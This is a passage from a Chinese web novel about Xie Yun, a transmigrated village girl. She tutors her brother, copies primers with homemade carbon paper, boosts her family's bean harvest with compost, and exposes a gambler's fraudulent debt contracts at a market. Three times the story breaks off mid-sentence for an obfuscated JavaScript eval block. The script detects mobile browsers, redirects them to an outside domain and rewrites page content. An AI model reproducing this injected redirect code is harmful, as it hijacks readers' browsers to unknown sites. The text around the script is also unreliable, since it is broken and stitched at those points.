谢霁一连读了几天,越读越流畅,连带着他识字的速度也提升了不少,原先记字就只是死记硬背这个字的笔画,如今再记,便会下意识的想到若是帮人写信该用到什么样的话语里去。 他已开始自己思索如何造句了。 写信的收入源源不断,娘儿三个这次不再压箱底了,自从上回吃了一顿肉,此后每过几天,王氏或者谢韫就会去一趟镇上,或是割半斤肥肉回来炼油,或是带回两个大棒骨熬肉汤。总之,是想方设法的开荤。 除了满足口腹之欲,一入秋,王氏就新衣上了身。 柳婶子满眼羡慕的摸了一把她身上崭新的料子,连声道:“这料子可真好,衬的你年轻了好几岁呢。” 王氏捂着嘴笑,道:“是阿韫,我说就算赚了钱也不能如此不知节制,她还生气了。” 柳婶子先是感慨:“你养了个孝顺好闺女啊。”又叹:“也不知将来谁家有这福气得了她去,只可惜我家没有适龄的男娃,否则我一日求你八回,定要求得你将闺女给我做儿媳妇才行。” 清水村是花姓村,村里各家没有血缘关系的是可以通婚的。 王氏听得一脸骄傲,道:“她的婚事我却是不愁的,她爹爹走时千叮咛万嘱咐,叫我多留两年,定要寻个知书达理的好人家才行。我愁的是阿霁,这孩子跟着她姐姐读书这几月瘦了不少呢,最近我日日想法子给他补,总也不见效。” 羡慕完了闺女,听她提起儿子,柳婶子依旧忍不住的眼热,“说起你家阿霁,先前怎的没发现,这孩子读书竟这样有灵性。”上回听说他读了几个月书就会看信,她回去跟丈夫秦大山一说,两口子直叹陶家瞎了眼,这样出息的孩子竟然两吊钱就送了出去,留下个寄予厚望的小五,专门送去学堂读书,银子花了不少,书却没见读进去多少。 想到这里,柳婶子忍不住开口道:“你家阿韫到底是如何教的?竟然这样有用,说实话,看见你家阿霁这样争气,我都动了送二福去读书的打算呢。” 王氏诧异道:“既然有这想法,为何不赶紧送去?咱们土里刨食儿惯了,压根没想到读书的妙处,我们阿霁还是多亏了她姐姐帮着谋划,才多了一条这样的路呢。” 柳婶子今日跟她说自己的想法,也有寻求意见的心思,如今听她满口的说好,便道:“就是不知阿韫愿不愿意多教一个学生。” 王氏这才反应过来,柳氏说了这么多,原来是想将二福送到自家来读书,她也不找借口,只道:“你我两家向来亲近,我也就有啥说啥了。你想让孩子读书的想法没错,可若是想跟着阿韫学,只怕不能......” “一来阿韫刚及笄,教自己的弟弟没人说什么,可若是旁人,就该有人说闲话了。”这是最重要的一点,“二来,她毕竟不是夫子,如今给阿霁上课,一讲就是一天,说的嗓子都哑了,若是再多一个只怕顾不过来。” 柳婶子听了,也知道是这是实话,只能道:“是我想岔了,你莫要恼我。” 王氏摇摇头,又道:“你若是真想送二福去读书,我倒有个主意。” 柳婶子眼睛一亮,央求道:“你快说。” “阿霁上课的书全都是阿韫给编写的,原本是为了省钱,可如今看阿霁学习的速度,那书倒确实是十分有用。你若真要送二福去读书,到时可以用阿霁学过的书本,我听他们说光是书价就比书铺里的便宜许多呢。” “果真?” 王氏斜眯她一眼,道:“我还能骗你不成?” “那可好,我回去就跟我家那口子商量商量。” 柳婶子喜滋滋的回去了。她仗着跟王氏的关系好,倒是已经提前搭上了线,但如刘老抠之类,跟谢家关系一般的,如今即使也看到了读书的好处,但谢韫的卖书计划还没有对外公布,他们便也只能朝外发展,硬着头皮去打听夫子的束脩和书铺的书价。 却说柳婶子回去将与王氏的对话跟秦大山说了,原本以为保准能成的事秦大山却犹豫了,“家里人口多,若是让二福读书,大福两口子那里又如何说?” 柳婶子急道:“将来二福有了出息,也能如谢家两姐弟那样挣到铜板,大福两口子不也跟着沾光?” 秦大山却说她想的太简单了些,“我原想着二福跟着谢韫识得几个字也就罢了,这才让你去问,如今却要正正经经送去私塾,私塾要学费,谢家的书即使再便宜也得花钱,我看还是再想一想吧。” 柳婶子也蔫下来,道:“要不我给我娘家送个口信,问问我爹的意见?”她娘家爹年轻时是个走南闯北的货郎,很有些见识。 秦大山被这么一提醒,忙催道:“是该问问岳丈的意见,你快去送。”大福的婚事当初就是岳丈做主定下来的,虽然彩礼高,但自从儿媳妇进得门来,两口子无有不满意的。 柳婶子一家的犹豫斟酌并不是他家独有,这样的情形几天之内在村里村外好些家庭里上演。 凡是能活成人尖儿的都是能看得远并懂得抓住机遇的,可即使大家都心动了,这一笔回报和成本哪头大哪头小的账好些人家还要再慢慢算一番才是。 快速做出决定的反而是那些已经开了头,孩子在私塾读书的人家。 赵满寿家和村长家是堂亲,家里良田多,日子过的不错,是以才送了独子赵益去读书。可学费交了不少,书也买了不少,孩子读书就是没长进。赵满寿听了村里人的传言,便寻隙到谢家来取经。 “到底是啥书?阿霁竟这般有长进?阿韫,你也教教我家那个不争气的吧。” 谢韫让谢霁去西屋将他的课本拿过来,展示给他看,“其实跟他们学堂教的一样,不过是些开蒙书籍。” “那为何我家这个学了两年了一本《千字文》还背不下来?”赵满寿苦恼道。 谢韫并不急着答话,而是将他身旁的赵益叫到近前来,随口考校道:“临深履薄,夙兴温凊。这两句之后是什么?” 赵益神色一下紧张起来,支支吾吾答不出来,赵满寿看的满眼着急。 谢韫又道:“罢了,你说说这两句是什么意思吧?” “是……是要孝顺父母,要……要……” 这下赵满寿直接忍不了了,站起来就想给他一个巴掌,谢韫眼疾手快拦下了,道:“读书不是打出来的,他这般紧张,你要是再打,除了会越打越紧张,再没别的作用。” “那如何办?这小崽子,真是气死我了。”家里就这一个独苗,要是再有一个,他也不至于将希望全部寄托到这一个身上。 谢韫对谢霁道:“阿霁,你给他讲讲。” 谢霁拱手一揖,对只比自己小三岁的少年说道:“这两句说的是资父事君的具体做法,前面一句临深履薄出自《诗经·小雅·小旻》:‘战战兢兢,如临深渊,如履薄冰。’是说对待君主要恭敬谨慎……” 他侃侃而谈,解释出来的意思连赵满寿都听懂了,赵益更是眼睛一亮,“是了,我记得夫子上课时就是这般说的。只是我记性不好,下了课就容易忘记……” 谢韫对赵满寿解释道:“背诵的基础是理解文意,他容易忘是因为上课未做笔记或是来不及做笔记,对这些句子没有理解到位,背诵起来自然吃力。” 她说着拿起那本《千字文解读》给赵益看,“你看看这本书和你那本有何不同?” 赵益学了这么长时间,他确实没法子将全文背诵出来,但只要一看,上面的字句也眼熟的很。他翻了好几页,才抬头望向谢韫,“这本书上竟将夫子所讲的意思全都写出来了!” 谢韫问他:“你可能看懂?” “能,能的。”赵益狂点头,“这书上的内容跟夫子说的一模一样,我虽然记得不全,可一看这书也立马就能想起个大概。” 他说完还忍不住感叹,“这真是本好书啊。” 谢韫这才对赵满寿道:“我教阿霁,便是要求他将这本书一字不落的全部背下来,如此背诵原句的同时,文意也做到了心中有数,学起来自然事半功倍。” 赵满寿已全然动心了,问道:“你这本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她按照这法子还真做出了复写纸,可因为材料比例的问题,制作出来的复写纸并不适合多次书写,且每次印到纸面上的痕迹也并不均匀,书写效果并不令人满意。 谢韫只好耐着性子调试材料配比,王氏和谢霁一连给她打了好几天下手,终于大功告成,制作出来的复写纸虽不似现代那样耐用,但到底解决了她目前想要小规模量产的难题。 可要用复写纸,毛笔是行不通的,得用硬笔。 王氏又在附近村镇寻到好几户养鹅的人家,专门花钱买了一堆粗壮鹅毛。 谢韫用鹅毛制成羽毛笔,便开始用硬笔小楷抄书。只要笔力控制得当,一次铺五张复写纸不是问题。这也就意味着她可以一次抄出六本书来。 谢霁见她白天讲课晚上还要抄书,就想给她帮忙,谢韫却不肯,“毛笔与硬笔书写手法不同,你才开始练字,还是专注一类的好。”又道:“如今只是小打小闹,若是日后生意多起来,自然还是要找抄书匠的。” 几日过后,赵满寿按照约定来取书。拿到手里一看,奇怪道:“如何是这种字体?”似乎不像寻常笔写出来的。 谢韫道:“这是我自己琢磨出来的印刷之术。我书价定的这么便宜,自然不可能投到书坊里去印刷。赵叔,你别看这字体与寻常不同,你买回去赵益一样能学到知识不就行了?” 赵满堂将三本书各翻了一遍,见字迹工整,并没有涂抹晕迹,这才给了钱拿回去了。 三本书一下子到手二百三十文。王氏喜笑颜开,“除开成本,少说也要净赚一百文。阿弥陀佛,总算没有白忙活这些日子。” 谢韫笑道:“阿娘,你算的只是纸墨费,复写纸的成本可还没有赚回来呢。” 王氏道:“不急不急,等你那六套书全卖出去,肯定就赚回来了。” 可下一单生意在哪里,母子几人都没谱。 看来炫耀之法还得继续啊。 13. 读书可丰收 谢家的生活水平在村民眼里迅速好起来,不仅三天两头换着法儿的吃肉,那新衣裳更是裁了一套又一套。 王氏对日日穿新衣裳的生活满意的很,等到了收大豆的时候,才肯脱下来收进箱子里去,换了之前打满补丁的粗布衣裳去下地。 这几日谢家的信摊儿开始歇业,谢霁也放了假,因为两人都要帮着王氏去地里收豆子。 豆子是小麦收割后立刻就种下去的,他们这里的气候十分适宜种植大豆,到了成熟的季节,家家户户收了豆,磨成豆面,一个冬天便能不用忍饥挨饿的过完。 收成的季节,满山满地全都是人。 王氏在自家地里干活,旁边地里的村人就边干活边与她聊天。 如今村里妇人没事就喜欢跟她说话。 与她家地毗邻的是石子连家的地。那家站在自己地里很容易就能看到这边地里的长势。 等到两家坐在地头休息的时候,他婆娘张氏因为跟王氏聊的投机,便将自家掺了猪油的花卷拿一个过来给她尝。 走动的时候,她随手摸了一把王氏地里长势喜人的豆荚,随口夸道:“你们家今年又是个好收成……哎……” 话未说完,张氏就察觉到了手感不对,她立刻又摸了一把旁边另一株豆荚,入手也是异常紧实饱满的感觉。 “他婶子,你家的豆子今年咋这样的好?”张氏问罢,又连忙喊了自家男人来看,“快瞧瞧人家的豆子,今年这一亩下来只怕能赶上咱家的两亩了。” 石子连应声过来看,但心里觉得自己婆娘实在夸大,一样的种地,别家好自家差也是有可能的,但要说能差上一倍绝不可能。 然而豆荚入手,石子连也不说话了。 两口子的举动引得上下地里的人都看过来,问道:“你们俩这是怎么了?羡慕上别人家地里的粮食了?” 这话一出,大家伙儿都不由自主的想起了几个月前陶家偷割谢家麦子的事情。张氏也不多做解释,直接拉着王氏就地取起了经,“你家这地到底是咋种的,不是我夸张,我种了半辈子地,还是头一回看见这么喜人的豆子。” 上下地里看热闹的人这时都被张氏的话惹得聚过来看王氏地里的豆荚。大家都是种庄稼的好把式,收成好不好,上手一摸就知道。 这回他们仔细观察,竟然发现不止王氏地里的豆荚比自家的鼓胀饱满,就连那植株上的叶子也比自家的要绿的多。 王氏见众人全都看向自己,也不藏私,抬头一点歇在东边地头正在啃干粮的谢韫,道:“我们家阿韫从书里看来的沤肥的方子,我照着那方子沤出肥来浇灌,没想到还真起作用了。” 张氏不可置信,“书里竟然还有种地的方子?” 谢韫早就注意到了这边的动静,此时慢悠悠踱步过来,道:“自然是有的,不仅有沤肥的方子,还有教导耕作技术、培育秧苗的方子。老百姓种地古来有之,那些经验经文人编写成了农书,若是人人识字,便可知道省力的农具如何做,失了养分的土壤如何改良,总之,只要学会了上面的方子,想要年年丰收不是难事。” 说着,手一指自家的地里,“我只是从书里随便找了个方子出来试验,成果就这样明显。” 王氏附和道:“这沤肥的方法果然好,等这一茬收割完了,明年麦地里也得这样施肥,明年的白面肯定也能比今年多七八成。”她信心满满。 张氏顿时急道:“他婶子,到底是怎么样的方子,你也教教我们啊。” 其他人也跟着道:“是啊,让我们也学学,若是真能多些收成,咱们就再也不用拿新麦换旧麦了。”新麦价高,旧麦稍低,粮食不够的人家等六月收成后就会以新换旧,多换得一些口粮,期待能熬到明年收成的时候。 王氏自然满口答应,“这个是自然。阿韫不是说了,那农书里还有好些方子呢,到时挑出来有用的咱们一一试验。” 众人听了既感激又遗憾,感激王氏的慷慨,遗憾自己没有这么一个有本事啥都懂的闺女。 最近的冲击事件实在是太多了,先前他们浑浑噩噩的活着,从不觉得见识短浅,可短短几个月,谢家迅速崛起,日子肉眼可见的过得一日比一日好,如今就连种地都种的比别家好,到底是读了书的啊! 清水村各家的地散落的比较开,今日增产的事情即使在村里村外有了一定的传播,但多数人到底没有亲眼见过。但等豆子拉回去,在村里的碾谷场脱了粒后,谁家丰收谁家薄产才是一目了然,明晃晃的刺激人心。 谢家的豆子丰收这才被所有人看到了眼里。 一时间,谢家再一次活在了村里村外的茶余饭后里。 …… 马岭镇开集时,谢霁为期三个月的开蒙课程刚好告一段落,谢韫便豪气的给他放了三天假。 姐弟二人帮王氏推着柴禾和一篮子鸡蛋去赶集。柴禾攒了快三个月,鸡蛋原本有两篮子,王氏一狠心留了一篮子给姐弟俩补身子,只提了一篮子准备去集上贩卖。 马岭镇每逢双日子都有集,但大集每月只有一次。每到日子,大半个村的人都要去凑热闹。 他们这里消息闭塞,经济也不发达,平时除了种地和拉闲话,再没个其他的消遣,因此,每月一次的赶集活动比过年还让人期待。 王氏三人是跟隔壁柳婶子家搭的伴儿。柳婶子家养了牛,王氏就推了自家板车出来,将两家要拿到集上去的东西装了满满一车。牛车由大山叔驾驶,其他人则跟着牛车一路步行。 他们一路出村,时不时就能碰上结伴而行的村民,双方打过招呼后,不用多问也都知道是去赶集的。 路上花了一个多时辰,到了集上,一见好地方已经被人占完了,柳婶子直呼来晚了。她一个劲儿的埋怨自家男人,“都怪你,说了让你早些起,磨蹭到这会儿,咱们迟了也就罢了,还连累了旁人。” 王氏听了忙道:“不打紧,咱们就挨在卖菜的边上摆,人家卖了菜,捎带手就买几捆柴、几个鸡蛋也说不定。” 迟都迟了,再埋怨也没啥用。柳婶子骂了几句出了气,就开始跟王氏一起卸车,她家这次除了柴禾和鸡蛋,还带来了半篮子捡的干干净净的地衣菜。 地衣菜又叫地软,是雨后山里的产物,包包子、做烩菜都好吃。捡地衣菜时机很重要,镇上的人平时想要自己捡没那个条件,只能偶尔运气好碰上有乡民售卖才能吃到。 柳婶子的地衣菜一经摆出来,不多时就售空了,连带着两家的柴禾和鸡蛋也卖出去不少。 但到底来的迟了,地衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784958|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜卖完后,剩下的柴禾和鸡蛋就再没有动过。镇上人逛大集一般都是东边的街口进,西边的街口出,他们正好在西街口,人从东街口进来一路逛一路买,逛到他们这里,该买的多半都买完了,自然没人再愿意重复购买。 王氏见卖不动,心里着急,面上却不好显出来。到了中午饭点儿,她从身上摸出三文钱来,让姐弟俩趁着没生意也去逛一逛,顺便买几个素包子充饥。 大山叔也趁机说要去镇口相牲口。 谢韫是第二回来赶大集,第一回是她刚穿过来的时候,天寒地冻,她又浑浑噩噩,什么记忆也没留下。这一回她拉着谢霁从西往东边走边看。 马岭镇是个小镇,唯一的主街道并不宽阔,此时两边或放着扁担框子,或停着板车的,都是乡下进城的流动摊子。谢韫猜测等大集一过,这些流动摊子大概率会消失一大半,等到下一个大集的时候它们又会再次出现。 流动摊子再往后就是街道铺面了。那些铺面有卖粮的、卖肉的、卖素面的......总之,今日这样的热闹,没有一家铺子是关门的。 姐弟两个一直走到最东头,才在一个看着还算干净的包子摊位前停下。 谢韫先问价:“大娘,包子咋买?” 包子大娘见问话的是个清秀姑娘,未语先笑,“两位先进来坐着歇歇脚,我这儿素包子一文钱一个,肉包子两文钱一个,你们要肉的还是素的?” 谢霁早就从弥散在四周的氤氲蒸汽中闻见了包子的香味,听了包子大娘的问话,他期待的看向姐姐。后者则注意到大娘新取下来的蒸笼里赫然是一屉雪白馒头,“馒头多少钱?” “也是一文钱一个。” “那就来一个馒头,两个素包子。”谢韫摸出了三文钱,又交代她:“我们要带走,直接包起来。” 她在现代时买东西是家常便饭,即使到了这里,兜里穷的叮当响,顾客是上帝的思维也依旧刻在骨子里。因此,即便只是买三个包子馒头,提要求时也是大大方方、理所当然,丝毫不犯怵。 谢韫将包好的包子和馒头一并交给谢霁拿着,“咱们回去跟阿娘一块儿吃。” 谢霁贫乏的购物经历让他自进了包子摊,就一直表现的很沉默。出来了才好意思问:“包子和馒头一样的价钱,姐姐为啥不要三个包子?” 在他心里,那样雪白的馒头自家是蒸不出来的,自然也好吃,可跟包子相比,又稍逊色了,还是皮薄馅多的包子更好吃。 谢韫道:“我不爱吃包子,包子给你和阿娘吃。”事实上,任何带馅儿的食物她都不是很热衷,这是现代时的习惯,到了这里,粗茶淡饭吃了快一年了,也还是改不掉。 两人带着食物一路走回去,谢韫还在心里盘算着要是到了下午柴禾和鸡蛋还是没有卖掉该怎么办,是原拉回去还是低价甩卖。 突然,谢霁脚步一顿,看着前方道:“姐,好多人啊!”说完又后知后觉道:“好像是咱家的摊子。” 谢韫顺着他的目光往前看,只见前面原本能容两人并排同行的道路,此时已被围堵的水泄不通,人群背对着他们的方向围了个圈儿,而那被围起来的位置正好是自家摊位所在。 “快去看看。” 谢韫拉着弟弟就往人群里挤去。 14. 姐弟破局 “让一让……让一让……” “快让我们进去,这是我家的摊位……” 姐弟二人不顾人群里的抱怨,一路拼命挤进去,一看才发现引发这么大骚乱的不止是自家摊位,跟王氏站成一排,同仇敌忾与四个面露狰狞的壮汉对峙的,还有其他好几位摊主。 同村的柳婶子、刘老抠以及之前与自家结了梁子的陶三郎都在其中。 再看那几个壮汉,为首的身穿绸缎,后面跟着助威的三个均是布衣短打。 谢韫跑过去,先问王氏:“娘,发生什么事了?” 王氏脸上满是怒意,嘴唇气的直哆嗦 ,听了谢韫的问话,喘过好几口气才能说出一句完整话来:“……韫儿,你回来的正好,快看看这契书,上面到底写的啥?” 谢韫从王氏手里接过一张皱皱巴巴的麻纸,一目十行的看起来。 一旁的柳婶子一看到她,也如看到救星一般,她斜眼瞪着对面几人,话却是对其他几个摊主说的,“我这侄女识得字,连信都写的,让她帮着看,看看他们到底是不是在哄骗咱们。” 几个摊主手里俱都捏着一张麻纸契书,一听这话,全都往谢韫跟前涌去,争先恐后的把麻纸往她手里塞。 刘老抠仗着相熟,先挤过去,“阿韫啊,快帮叔看看,这要是假的,可怎么得了?” 其他人也唯恐落在后面:“帮我也看看,那些筐子我爹可是编了好几个月......” 陶三郎虽然也着急,但因着占地的梁子,到底不好意思表现的太过急切,便混在摊主中间,耳朵竖的老高。 有人趁着谢韫看契书的功夫说起了事情的经过。 原来,晌午时集上突然来了一伙儿人,他们一路从东往西逛,边逛边买,十分的大手笔。 更让人侧目的是,他们只买东西不给钱,为首的自称是县城东街口王财主家的家丁,因早上出门时主家催的急,钱没带那么许多,东西他们先抬走,钱等他回去从账上支了再结。 摊主们刚开始自然不愿,一来空口无凭,二来县城那么远,巴巴跑一趟实在不划算。 可那人却大方的很,摊位上的东西只要看的顺眼,不拘什么柴禾鸡蛋、青菜背篓,全都包圆儿。又看他们犹犹豫豫、畏畏缩缩,当即从怀里掏出一张赊欠契书,冷笑道:“我家老爷家财万贯,金山堆了三间房,银山堆了五间房,岂会赖你们这几个钱?罢了罢了,这张赊欠凭证,你我一同签字画押,到时拿着凭证去结账,跑腿费到时也一定会结给你们的。” 摊主们抵挡不住包圆儿的诱惑,一听还会结跑腿费,顿时就信了七八分,又见这人一身绸缎,气派的紧,剩下的那两三分疑虑也打消了。对方叫他们签字画押,可他们哪识得什么字,契书拿到手里也看不懂,只照着对方教的按个手印就算完了。 一伙儿人一路畅通无阻买到王氏和柳婶子的摊位前,依旧使用同样的手段想搬走东西。 可这次王氏留了个心眼,对方叫她在契书上按手印,她只道自己不识字,要等闺女回来看过才行。 岂料这伙儿二话不说立刻就翻了脸,契书往她们手里一塞,当即就要强行搬走摊位上的鸡蛋和柴禾。 这是什么道理?光天化日之下竟敢行这种强盗行径。 王氏当即就嚷开了,“你们那契书到底是个啥东西?若真是赊欠凭证,为何不敢等我闺女回来?” 柳婶子这时也觉出不对来,跳起来就给王氏助威,“大家伙儿快来看啊,世上竟有这等蛮横霸道之人,我自家的东西,就是不想卖给你们,竟敢直接上来抢盗。” 周围人寻着热闹凑上来,本是想劝架的,可一看这架势,霎时也生了疑心,要是真这么阔气,使足了银钱哪处买不到东西,干啥非要动手强抢? 先前已经赊过账的摊主们立刻就将几人围了,纷纷反悔要求他们当场支付现钱,要不然自家的东西就不卖了。 契书并不长,谢韫几眼就扫完了。看完了自家的,又一一去看柳婶子和其他几个摊主的,内容俱都大同小异。 “阿霁,你也看看。”谢韫看完后将契书交给谢霁。 她眼神从几个壮汉脸上一一扫过,几人同样脸色不善的盯着她。 谢霁到底刚识字,看的比谢韫要慢些。等全部看完,他先是不可置信的看向姐姐,“这……” 谢韫确定的点了点头,没错就是你想的那样。 谢霁当即指着几个壮汉,愤而骂道:“世上竟有如此无耻之人!” 王氏等姐弟俩一看完,立刻就追问道:“韫儿,到底咋回事?你们快说啊!” 谢韫将契书交给谢霁本就是有心让他历练一番,此时便道:“让阿霁说罢。” “姐,我......”突然被这样当众推出来,谢霁本想说他怕自己做不好,可当他接触到姐姐平静的目光的时候,心里的忐忑突然就不见了。 他深吸一口气,往前跨出半步,众人的目光立刻就集中到了他身上。谢霁高声道:“诸位乡亲,这些根本就不是什么买东西的赊账凭证,而是债务代偿契书。” 他扬起手中的麻纸,解释道:“若是赊账凭证,根本不需要你们按手印,他单方面画押即可。而这债务代偿契书,上面写明,怀阳县籍屠三九所欠长乐赌坊白银十两由画押者自愿代偿。你们若是拿着这张契书去要账,他欠的赌债就得由你们来还了。” 刘老抠几乎要晕死过去,“白银十两?我们来还?天爷啊,你们这些天杀的,丧尽天良。”他此刻恨不得扑上去狠狠从那几人身上咬下一块儿肉来。 柳婶子直接瘫坐在了地上,庆幸道:“幸好我没有按手印,阿霁,你快帮婶子看看,我和你娘那两张上面是多少?” 谢霁一言难尽道:“一张是五两,一张是六两......” 柳婶子后怕道:“还好你娘主意正,那么多钱,要了我们全家的命也还不上啊。” 她是幸运,可其他人却没有她这样的好运气,那些已经画了押的摊主,只觉得天都塌了。 围观得人群也是一片感同身受。 “这可怎么办?” “简直丧了良心啊。” 陶三郎一跃而上从谢霁手里夺过契书,三两下撕个粉碎,又指着那叫屠三九的大骂道:“你这畜生,竟敢骗我们给你背债,大家伙儿一起上,打死他们。” 刘老抠也在悲愤中突然想起来,“县城东街口哪是什么王财主家?那里就是长乐赌坊啊。” 围观百姓又是一片哗然。 骗局被叫破,屠三九反倒不怕了。他阴笑着从怀中掏出一沓麻纸,展开还是契书。 “打死我们?告诉你,打杀人是要吃官司的,县衙屠典史是我本家叔叔,我要是擦破了一点儿皮,赶明儿你全家都得被下大狱。” “还有,”他大拇指往后一指三个壮汉,得意道:“契书是你们自愿画押,我这几位兄弟都能作证。你撕了那张有什么用?我这儿可还有一份呢。” 谢韫变了脸色,侧头问刘老抠,“你们一人签了两张?” 刘老抠脸色灰败,整个人摇摇欲坠,嘴唇哆嗦着根本说不出话来。但谢韫已从他的表情里得到了肯定的答案。 想不到对方做局做的这样周全,契书竟是一式两份。 谢霁此时也从姐姐突变的脸色里意识到了事情的严重性。虽然自家没有上这个当,可这些摊主里好几个都清水村的,要是这诡计真的成了,只怕今日当场就要出几条人命了。 “姐......”谢霁刚想说话,谢韫淡淡看了他一眼,他立刻就意识到了什么,将话囫囵咽了回去。 “呵......” 现场一片凝滞的气氛里,谢韫这一声冷笑格外的突兀。 屠三九正得意着,听了这声笑,狰狞瞪过去。 “你笑什么?” “自然是笑你这幅愚蠢的模样——自以为是天下第一聪明人,孰不知下一个要倒大霉的只怕是你自己。” “死丫头,你胡说什么?”屠三九身后的壮汉吹嘘道:“我们三爷金身护体,怎么可能倒大霉?” “不相信就算了。你们只管拿着契书去赌坊交账好了。” 那壮汉还待说什么,被屠三九抬手制止,“好,那你说说,我怎么个倒霉法?”他那样子并不是害怕,反而更像是胜券在握的玩弄。 谢韫道:“屠三爷虽是赌场的常客,可想来是第一次做这样的骗局吧?” 听了这话,屠三九眸光一闪,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784959|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫看的分明,她接着道:“契约书一式两份确实很周全了,可到底是第一次没经验,不知道避人耳目啊。” “你说县衙典史是你本家叔叔,典史掌管监狱、囚务,负责监察和治安,最是熟悉律法。你这位本家叔叔可曾告诉过你,诈欺取财罪怎么判?” 谢韫目光凛厉的看着他,扬声道:“按我大周律,诈欺取财者,按赃值定罪,最低杖八十,最高流放三千里。你这契书上,每家十两、五两的加起来足有三十六两之巨,判你个流刑都是轻的。” 说着重又将目光转向围观百姓,“若我没记错,咱们这怀阳县已经是苦寒之地了吧,再流三千里,只怕是要发配边塞充军了。” 围观百姓听罢俱都为之一振,第一次知道竟然还有律法可以制裁这些地痞流氓。 有人高声喊道:“送他们去见官。” 周围立刻一片附和声:“对,让县老爷将这些祸害发配充军。” 眼看着群情激愤,屠三九终于害怕起来,但他偷奸耍横惯了,轻易唬不过去。垂着眼皮在心里转了个弯儿,又恢复了嚣张气势,“死丫头,差点被你唬住了。诈欺取财?我和和气气与人签的契约,我兄弟看的清清楚楚,再正经不过,你说我诈欺就诈欺?” 谢韫道:“所以我说你是第一次没经验啊。律法早就写明,与案件无关、与被告无亲者才可作为证人,你跟你这几位兄弟都亲如一家了,他们说的话怎么能当做证言?” “我们这边就不一样了,一来,几位摊主跟你无亲无故,凭何要突然替你担下足以让他们倾家荡产的巨债?二来,你跟他们签订契书,丝毫不避人耳目,满大街都是证人证言,只要告上衙门,我随便找几个人作证,你诈欺取财的罪名都是板上钉钉的。” “屠三爷,你尽管去找你那本家叔叔,典史再大,能大的过一县父母官?能大的过滔天的民意?” 谢韫说完,不再管屠三九如何反应,她转身看向几位摊主和围观百姓,高声道:“各位乡亲,我们本本分分过日子,岂料祸从天降,若是放任这样的恶行不管,今日遭殃的是我们,明日便会轮到你们。我要联合几位摊主向县衙递送联名状,上吿屠三九等人的欺诈罪行,你们可愿在那状纸上添上一笔做个人证?” 谢韫话音刚落,上了当的几位摊主几乎是立刻响应,“我等愿意!” 接着是围观的百姓。 “我愿意做人证。” “我也愿意。” 最开始是一两个人发声,渐渐的,发声的人越来越多。 人都有一种同理心,看到同类被欺负,就会不自觉地将自己置于被欺者的处境去感同身受,进而对欺人者产生反感。谢韫的话刚好将这种隐秘的心理放大了,她的暗示让他们确信这样令人发指的骗局来日一定会发生在自己身上。 要怎么样才能阻止呢?当然是提前斩草除根。 一声又一声的“我愿意”此起彼伏,最后连成一片,到后来,几乎成了鼎沸之势。 谢韫吩咐谢霁:“去寻笔墨纸砚,咱们现在就写联名状。” “是!”谢霁高声应着,立刻就要去旁边的铺面里寻。 铺面里有账房,定有笔墨纸砚。 屠三九等人终于被这阵势吓住了,心慌意乱之下,见谢霁要走,本能的就想上前去拦。 谢韫当即大喝一声:“你们要干什么?” “他们要打人!”有人喊道。 “如此强盗之人!” 群情激愤到了这儿,众人终于忍不住了,他们恶狠狠的盯着这几个恶魔,一步一步上前朝他们逼近。 包围圈迅速缩小。谢韫站在原地没动,围观百姓一个接一个的越过她,屠三九等人从嚣张到慌乱,再到最后的恐惧,终于被一步步逼近的百姓吓得抱头跪在了地上求饶。 谢韫趁乱指挥谢霁:“去拿契书。” 谢霁愣了一下,反应过来连忙跟上众人往前挤,不过几息,又返回来,将一沓契书交给谢韫,“拿到了。” 谢韫迅速展开确认,确实跟刚才那些一模一样。 然而还不等她进行下一步,西街口处突然闪出一个青衣男子,他按剑疾行上前,声若洪钟:“贵人銮驾行经,闲杂人等安敢不避?” 15. 入了贵人眼 这一声就像是给鼎沸的民愤泼了一瓢冷水,惊的人群迅速散开。百姓们脸上的愤怒之色迅速被惊惶代替,躬身屏息退避到了街道两侧。 王氏紧紧抓着两个儿女一路退到自家摊位前,谢韫被她特意掩到身后,正好朝西北向而站。此时,她只要微微抬头,就能借着王氏身形的掩饰看清街口的情形。 一辆黑漆钉铜双驾马车缓缓驶过西街口,那青衣男子自从遣散人群,就一直跟在车辕旁边,他佩剑而行,面容严肃,浑身自有一派萧杀之气。 谢韫盯着那马车驶近,心理猜测,侍从都这样气场直接飙到一米八,车里人该是怎样的身份。 她虽然肯定原身被发配前出自官身世家,可惜那时她太过幼小,对曾经的富贵日子几乎没有保存下什么清晰的记忆。但谢韫毕竟已在这个世界混迹了快一年,又对一些制度等级特别留心,阶层标志还是能分清楚的。 平民出行大多靠的是两条腿,条件稍好些的偶尔乘坐牛车,县城里的富户豪绅才有财力坐马车,但也都是单架。知县的交通工具她没有见过,或许是双驾,但那些衙役绝没有青衣侍从这样的气场。 士农工商,她几乎立刻就确定,车上之人绝对是最高等级——士族无疑了。 